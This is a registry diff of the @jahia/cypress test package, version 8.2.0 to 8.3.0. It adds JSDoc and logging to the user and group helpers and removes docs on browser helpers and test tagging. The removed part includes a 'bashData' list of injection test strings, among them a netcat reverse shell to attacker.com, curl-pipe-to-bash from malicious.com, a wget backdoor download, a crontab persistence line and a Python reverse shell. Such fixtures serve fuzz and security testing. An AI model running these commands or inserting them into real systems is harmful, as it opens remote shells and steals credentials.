@jahia/cypress 8.2.0 → 8.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,5 +1,13 @@
1
+ /**
2
+ * Grants one or more roles to a principal on a target node.
3
+ * @param {string} pathOrId JCR node path or identifier where roles are granted.
4
+ * @param {Array<string>} roleNames Role names to grant.
5
+ * @param {string} principalName Principal name (user or group) receiving roles.
6
+ * @param {string} principalType Principal type expected by the mutation.
7
+ * @returns {Cypress.Chainable} Cypress chainable for the GraphQL mutation request.
8
+ */
1
9
  export const grantRoles = (pathOrId: string, roleNames: Array<string>, principalName: string, principalType: string): Cypress.Chainable => {
2
- cy.log('Grant role(s) ' + roleNames + ' with principal type ' + principalType + ' to ' + principalName + ' on node ' + pathOrId);
10
+ cy.log(`Grant role(s) ${roleNames} with principal type ${principalType} to ${principalName} on node ${pathOrId}`);
3
11
  return cy.apollo({
4
12
  variables: {
5
13
  pathOrId: pathOrId,
@@ -11,8 +19,16 @@ export const grantRoles = (pathOrId: string, roleNames: Array<string>, principal
11
19
  });
12
20
  };
13
21
 
22
+ /**
23
+ * Revokes one or more roles from a principal on a target node.
24
+ * @param {string} pathOrId JCR node path or identifier where roles are revoked.
25
+ * @param {Array<string>} roleNames Role names to revoke.
26
+ * @param {string} principalName Principal name (user or group) losing roles.
27
+ * @param {string} principalType Principal type expected by the mutation.
28
+ * @returns {Cypress.Chainable} Cypress chainable for the GraphQL mutation request.
29
+ */
14
30
  export const revokeRoles = (pathOrId: string, roleNames: Array<string>, principalName: string, principalType: string): Cypress.Chainable => {
15
- cy.log('Revoke role(s) ' + roleNames + ' with principal type ' + principalType + ' to ' + principalName + ' on node ' + pathOrId);
31
+ cy.log(`Revoke role(s) ${roleNames} with principal type ${principalType} to ${principalName} on node ${pathOrId}`);
16
32
  return cy.apollo({
17
33
  variables: {
18
34
  pathOrId: pathOrId,
@@ -24,21 +40,35 @@ export const revokeRoles = (pathOrId: string, roleNames: Array<string>, principa
24
40
  });
25
41
  };
26
42
 
27
- export const createUser = (userName: string, password: string, properties: {
28
- name: string,
29
- value: string
30
- }[] = []): void => {
43
+ /**
44
+ * Creates a Jahia user using the Groovy fixture.
45
+ * @param {string} userName Username of the user to create.
46
+ * @param {string} password Password for the new user. Defaults to "password" when empty.
47
+ * @param {{name: string, value: string}[]} properties Optional user properties to set on creation.
48
+ * @param {string} siteKey Optional site key for site-scoped user creation.
49
+ * @returns {void}
50
+ */
51
+ export const createUser = (userName: string, password: string, properties: {name: string, value: string}[] = [], siteKey = ''): void => {
52
+ cy.log(`Creating ${siteKey === '' ? 'server-level ' : ('site-level:' + siteKey)} user with name ${userName}`);
31
53
  const userProperties = properties.map(property => {
32
54
  return 'properties.setProperty("' + property.name + '", "' + property.value + '")';
33
55
  });
34
56
  cy.executeGroovy('groovy/admin/createUser.groovy', {
35
- USER_NAME: userName,
57
+ USERNAME: userName,
36
58
  PASSWORD: password ? password : 'password',
37
- USER_PROPERTIES: userProperties ? userProperties.join('\n') : ''
59
+ USER_PROPERTIES: userProperties ? userProperties.join('\n') : '',
60
+ SITEKEY: siteKey
38
61
  });
39
62
  };
40
63
 
64
+ /**
65
+ * Retrieves the JCR path of a user.
66
+ * @param {string} username Username to look up.
67
+ * @param {string} siteKey Optional site key for site-scoped users.
68
+ * @returns {Cypress.Chainable} Cypress chainable containing the GraphQL query response.
69
+ */
41
70
  export const getUserPath = (username: string, siteKey = ''): Cypress.Chainable => {
71
+ cy.log(`Getting user path for ${username}`);
42
72
  return cy.apollo({
43
73
  variables: {
44
74
  siteKey,
@@ -49,13 +79,27 @@ export const getUserPath = (username: string, siteKey = ''): Cypress.Chainable =
49
79
  );
50
80
  };
51
81
 
82
+ /**
83
+ * Deletes a Jahia user using the Groovy fixture.
84
+ * @param {string} userName Username of the user to delete.
85
+ * @returns {void}
86
+ */
52
87
  export const deleteUser = (userName: string): void => {
88
+ cy.log(`Deleting user ${userName}`);
53
89
  cy.executeGroovy('groovy/admin/deleteUser.groovy', {
54
- USER_NAME: userName
90
+ USERNAME: userName
55
91
  });
56
92
  };
57
93
 
94
+ /**
95
+ * Creates a Jahia users group using the Groovy fixture.
96
+ * @param {string} groupName Group name to create.
97
+ * @param {boolean} hidden Whether the group should be hidden.
98
+ * @param {string} siteKey Optional site key for site-scoped group creation.
99
+ * @returns {void}
100
+ */
58
101
  export const createGroup = (groupName: string, hidden?: boolean, siteKey = ''): void => {
102
+ cy.log(`Creating ${siteKey === '' ? 'server-level' : ('site-level:' + siteKey)} group ${groupName}`);
59
103
  cy.executeGroovy('groovy/admin/userGroupHelper.groovy', {
60
104
  OPERATION: 'create',
61
105
  GROUPNAME: groupName,
@@ -64,7 +108,14 @@ export const createGroup = (groupName: string, hidden?: boolean, siteKey = ''):
64
108
  });
65
109
  };
66
110
 
111
+ /**
112
+ * Deletes a Jahia users group using the Groovy fixture.
113
+ * @param {string} groupName Group name to delete.
114
+ * @param {string} siteKey Optional site key for site-scoped group deletion.
115
+ * @returns {void}
116
+ */
67
117
  export const deleteGroup = (groupName: string, siteKey = ''): void => {
118
+ cy.log(`Deleting ${siteKey === '' ? 'server-level' : ('site-level:' + siteKey)} group ${groupName}`);
68
119
  cy.executeGroovy('groovy/admin/userGroupHelper.groovy', {
69
120
  OPERATION: 'delete',
70
121
  GROUPNAME: groupName,
@@ -72,10 +123,18 @@ export const deleteGroup = (groupName: string, siteKey = ''): void => {
72
123
  });
73
124
  };
74
125
 
75
- export const addUserToGroup = (userName: string, groupName: string, siteKey?: string): void => {
126
+ /**
127
+ * Adds an existing user to a group using the Groovy fixture.
128
+ * @param {string} userName Username to add to the group.
129
+ * @param {string} groupName Group receiving the user.
130
+ * @param {string} siteKey Optional site key for site-scoped group membership.
131
+ * @returns {void}
132
+ */
133
+ export const addUserToGroup = (userName: string, groupName: string, siteKey = ''): void => {
134
+ cy.log(`Add user ${userName} to ${siteKey === '' ? 'server-level' : ('site-level:' + siteKey)} group ${groupName}`);
76
135
  cy.executeGroovy('groovy/admin/addUserToGroup.groovy', {
77
- USER_NAME: userName,
78
- GROUP_NAME: groupName,
79
- SITE_KEY: siteKey ? `"${siteKey}"` : 'null'
136
+ USERNAME: userName,
137
+ GROUPNAME: groupName,
138
+ SITEKEY: siteKey
80
139
  });
81
140
  };
@@ -1 +0,0 @@
1
- export declare const bashData: string[];
@@ -1,57 +0,0 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.bashData = void 0;
4
- exports.bashData = [
5
- '--version',
6
- '--help',
7
- '$USER',
8
- '/dev/null; touch /tmp/blns.fail ; echo',
9
- '`touch /tmp/blns.fail`',
10
- '$(touch /tmp/blns.fail)',
11
- '@{[system \'touch /tmp/blns.fail\']}',
12
- 'eval(\'puts \'hello world\'\')',
13
- 'System(\'ls -al /\')',
14
- '`ls -al /`',
15
- 'Kernel.exec(\'ls -al /\')',
16
- 'Kernel.exit(1)',
17
- '%x(\'ls -al /\')',
18
- '$HOME',
19
- '$ENV{\'HOME\'}',
20
- '%d',
21
- '%s',
22
- '{0}',
23
- '%*.*s',
24
- '../../../../../../../../../../../etc/passwd%00',
25
- '../../../../../../../../../../../etc/hosts',
26
- '() { 0; }; touch /tmp/blns.shellshock1.fail;',
27
- '() { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }',
28
- '; cat /etc/passwd',
29
- '| ls -la',
30
- '&& whoami',
31
- '; rm -rf /tmp/test',
32
- '` cat /etc/shadow `',
33
- '| id',
34
- '; uname -a',
35
- '&& cat /etc/group',
36
- '$(whoami)',
37
- '`id`',
38
- '; nc -e /bin/sh attacker.com 4444',
39
- '| curl http://malicious.com/shell.sh | bash',
40
- '; wget http://evil.com/backdoor -O /tmp/backdoor',
41
- '&& chmod +x /tmp/exploit',
42
- '`cat /root/.ssh/id_rsa`',
43
- '; find / -name \'*.conf\'',
44
- '| grep -r \'password\' /etc/',
45
- '&& env',
46
- '$(cat /proc/version)',
47
- '; ps aux',
48
- '| netstat -tuln',
49
- '&& iptables -L',
50
- '`cat /var/log/auth.log`',
51
- '; history',
52
- '| tail -f /var/log/syslog',
53
- '&& crontab -l',
54
- '; echo \'* * * * * /tmp/backdoor\' | crontab -',
55
- '`sudo su -`',
56
- '; python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\''
57
- ];
@@ -1,158 +0,0 @@
1
- # Browser Helpers
2
-
3
- ## Overview
4
-
5
- The Browser Helpers module provides exported helper functions for debugging and managing browser storage (`cookies`, `localStorage`, `sessionStorage`) in Cypress tests.
6
-
7
- Warning: These helpers log full storage/cookie values by design. Use carefully in automated runs to avoid leaking tokens, credentials, or session identifiers in logs.
8
-
9
- ## Import and Usage Model
10
-
11
- ```typescript
12
- import {BrowserHelper} from '@jahia/cypress';
13
-
14
- it('inspects browser state', () => {
15
- cy.login();
16
- BrowserHelper.logCookies();
17
- BrowserHelper.logLocalStorage();
18
- });
19
- ```
20
-
21
- ## Available Helpers
22
-
23
- ### `BrowserHelper.logCookies()`
24
-
25
- Logs all available cookies with metadata and values.
26
-
27
- - Returns: `Cypress.Chainable<void>`
28
- - Typical use: inspect authentication and security cookie attributes during debugging
29
-
30
- ### `BrowserHelper.logCookie(cookieName)`
31
-
32
- Logs one cookie by name in a detailed format.
33
-
34
- - Parameters: `cookieName: string`
35
- - Returns: `Cypress.Chainable<void>`
36
-
37
- ### `BrowserHelper.clearSessionCookies()`
38
-
39
- Clears only session cookies.
40
-
41
- - Returns: `Cypress.Chainable<void>`
42
-
43
- ### `BrowserHelper.clearPersistentCookies()`
44
-
45
- Clears only persistent cookies.
46
-
47
- - Returns: `Cypress.Chainable<void>`
48
-
49
- ### `BrowserHelper.simulateClose()`
50
-
51
- Simulates a browser close by clearing `sessionStorage` and session cookies only.
52
-
53
- - Returns: `void`
54
- - Clears: session cookies + all `sessionStorage`
55
- - Keeps: persistent cookies + `localStorage`
56
-
57
- ### `BrowserHelper.resetState()`
58
-
59
- Resets browser client-side state by clearing all cookies and all storages.
60
-
61
- - Returns: `void`
62
- - Clears: all cookies + all `localStorage` + all `sessionStorage`
63
-
64
- ### `BrowserHelper.logSessionStorage()`
65
-
66
- Logs all `sessionStorage` entries grouped by origin.
67
-
68
- - Returns: `Cypress.Chainable<void>`
69
-
70
- ### `BrowserHelper.logLocalStorage()`
71
-
72
- Logs all `localStorage` entries grouped by origin.
73
-
74
- - Returns: `Cypress.Chainable<void>`
75
-
76
- ## Integration Examples
77
-
78
- ### Authentication Debugging
79
-
80
- ```typescript
81
- import {BrowserHelper} from '@jahia/cypress';
82
-
83
- describe('Authentication Flow', () => {
84
- it('keeps session after reload', () => {
85
- cy.step('Login', () => {
86
- cy.login('testuser@example.com', 'password');
87
- BrowserHelper.logCookie('JSESSIONID');
88
- cy.get('[data-testid="dashboard"]').should('be.visible');
89
- });
90
-
91
- cy.step('Reload page', () => {
92
- cy.reload();
93
- BrowserHelper.logCookie('JSESSIONID');
94
- cy.get('[data-testid="dashboard"]').should('be.visible');
95
- });
96
- });
97
- });
98
- ```
99
-
100
- ### Simulate Browser Close
101
-
102
- ```typescript
103
- import {BrowserHelper} from '@jahia/cypress';
104
-
105
- it('validates behavior after browser close', () => {
106
- cy.login();
107
- BrowserHelper.logCookies();
108
-
109
- // Simulate browser close (clears session cookies and session storage)
110
- BrowserHelper.simulateClose();
111
-
112
- // Visit the app again to see the effect of reset
113
- cy.visit(url);
114
-
115
- BrowserHelper.logCookies();
116
- BrowserHelper.logSessionStorage();
117
- });
118
- ```
119
-
120
- ### Simulate Browser Reset (clear all cookies and storages)
121
-
122
- ```typescript
123
- import {BrowserHelper} from '@jahia/cypress';
124
-
125
- it('validates behavior after full browser reset', () => {
126
- cy.login();
127
- BrowserHelper.logCookies();
128
-
129
- // Reset all browser state
130
- BrowserHelper.resetState();
131
-
132
- // Visit the app again to see the effect of reset
133
- cy.visit(url);
134
-
135
- BrowserHelper.logCookies();
136
- BrowserHelper.logSessionStorage();
137
- });
138
- ```
139
-
140
- ## Best Practices
141
-
142
- 1. Use these helpers for interactive debugging, not as regular test assertions.
143
- 2. Avoid running full storage/cookie logging in CI unless required.
144
- 3. Prefer targeted checks (`logCookie`) over full dumps (`logCookies`) for sensitive environments.
145
- 4. Use `resetState()` for hard test isolation, and `simulateClose()` for realistic session lifecycle checks.
146
-
147
- ## API Reference
148
-
149
- | Helper | Parameters | Returns | Description |
150
- |--------|------------|---------|-------------|
151
- | `BrowserHelper.logCookies()` | - | `Cypress.Chainable<void>` | Logs all cookies with full metadata |
152
- | `BrowserHelper.logCookie(cookieName)` | `string` | `Cypress.Chainable<void>` | Logs one cookie by name |
153
- | `BrowserHelper.clearSessionCookies()` | - | `Cypress.Chainable<void>` | Clears session cookies only |
154
- | `BrowserHelper.clearPersistentCookies()` | - | `Cypress.Chainable<void>` | Clears persistent cookies only |
155
- | `BrowserHelper.simulateClose()` | - | `void` | Clears session storage and session cookies |
156
- | `BrowserHelper.resetState()` | - | `void` | Clears all storages and all cookies |
157
- | `BrowserHelper.logSessionStorage()` | - | `Cypress.Chainable<void>` | Logs all session storage data |
158
- | `BrowserHelper.logLocalStorage()` | - | `Cypress.Chainable<void>` | Logs all local storage data |
@@ -1,104 +0,0 @@
1
- # Context Reporter: Test Tags and Integration with TestRail
2
-
3
- ## Overview
4
-
5
- Test tags are user-defined labels that can be attached to test suites and individual tests to provide metadata about test characteristics, scope, and purpose. Tags are collected during test execution and included in the mochawesome test report.
6
-
7
- ## Integration with TestRail and jahia-reporter
8
-
9
- Tags defined in Cypress tests are **automatically synchronized to TestRail test cases** by the `jahia-reporter` tool during the test reporting phase. This enables:
10
-
11
- - **Test categorization** in TestRail for better organization
12
- - **Dashboard filtering** based on test characteristics
13
- - **Reporting dashboards** that slice data by tag combinations (e.g., smoke tests, regression, performance, critical path)
14
- - **Traceability** linking test runs to business requirements or feature areas
15
-
16
- ## Usage
17
-
18
- ### Basic Syntax
19
-
20
- Use the `tag()` function to attach one or more tags:
21
-
22
- ```typescript
23
- import {context} from '@jahia/cypress';
24
-
25
- describe('Authentication', () => {
26
- context.tag('smoke', 'critical');
27
-
28
- it('should login successfully', () => {
29
- context.tag('p1'); // Add P1 severity
30
- cy.login();
31
- cy.url().should('include', '/home');
32
- });
33
-
34
- it('should logout successfully', () => {
35
- cy.logout();
36
- });
37
- });
38
- ```
39
-
40
- ### Where to Call
41
-
42
- - **In `describe()`**: Tags apply to **all nested tests** in the suite (inherited by child suites and tests)
43
- - **In `it()`**: Tags apply to **only that specific test**
44
- - **Both**: Combine suite-level and test-level tags (both are collected)
45
-
46
- ### Example: Multi-Level Tagging
47
-
48
- ```typescript
49
- import {context} from '@jahia/cypress';
50
-
51
- describe('Content Management', () => {
52
- context.tag('regression', 'content'); // Suite-level tags
53
-
54
- describe('Publishing Workflow', () => {
55
- context.tag('critical'); // Additional suite-level tag
56
-
57
- it('should publish page', () => {
58
- context.tag('p0', 'smoke'); // Test-level tags
59
- // effective tags: ['regression', 'content', 'critical', 'p0', 'smoke']
60
- });
61
-
62
- it('should unpublish page', () => {
63
- // effective tags: ['regression', 'content', 'critical']
64
- });
65
- });
66
- });
67
- ```
68
-
69
- ## Implementation Details
70
- - Tags are collected during test execution via Mocha hooks and then added to the test's `context`.
71
- - Suite tags are inherited by nested describe blocks and tests.
72
- - All unique tags are deduplicated.
73
-
74
- Tags are stored as an object (`{title: <title>, value: <value>}`) in order to be properly parsed by mocha html-reporter.
75
- Example:
76
- ```json
77
- {title: 'tags', value: ['tag1', 'tag2', 'tag3']}
78
- ```
79
-
80
- Finally, the `context` field in Cypress report will contain a stringified JSON array of tags meta-info along with other context information added by the user.
81
-
82
- Example of `context` field in the report (note - array contains both tags meta-info and user-added context info like video path; array is stringified by `mochawesome` reporter):
83
- ```json
84
- "context": "[\n {\n \"title\": \"tags\",\n \"value\": [\n \"graphql-api-upa\",\n \"upa\",\n \"custom-factor\",\n \"P1\",\n \"authentication\"\n ]\n },\n \"videos/graphQL.mfa.customFactor.cy.ts.mp4\"\n]",
85
- ```
86
- This `context` field will be parsed by `jahia-reporter` afterward to extract the tags and sync them to `TestRail`. If the `context` field doesn't contain tags in expected format, it will be ignored by `jahia-reporter` and labels in `TestRail` won't be updated.
87
-
88
-
89
- ## Best Practices
90
-
91
- 1. **Use consistent tag names** across your test suite
92
- 2. **Keep tag values simple** (lowercase, no spaces, use hyphens for multi-word tags)
93
- 3. **Avoid overtagging** — use a reasonable number of tags (3-5 per test)
94
- 4. **Combine categories** — mix priority, type, and feature tags for flexibility
95
- 5. **Use suite-level tags** for common characteristics (saves repetition)
96
- 6. **Add test-level tags** for exceptions or special cases
97
-
98
- ## Troubleshooting
99
-
100
- ### Tags not appearing in TestRail
101
- - Ensure `context.tag()` is called at the right scope (in `describe()` or `it()`)
102
- - Check that jahia-reporter is configured to sync tags to TestRail
103
- - Verify the test report is being generated and contains `context` attribute with tags
104
-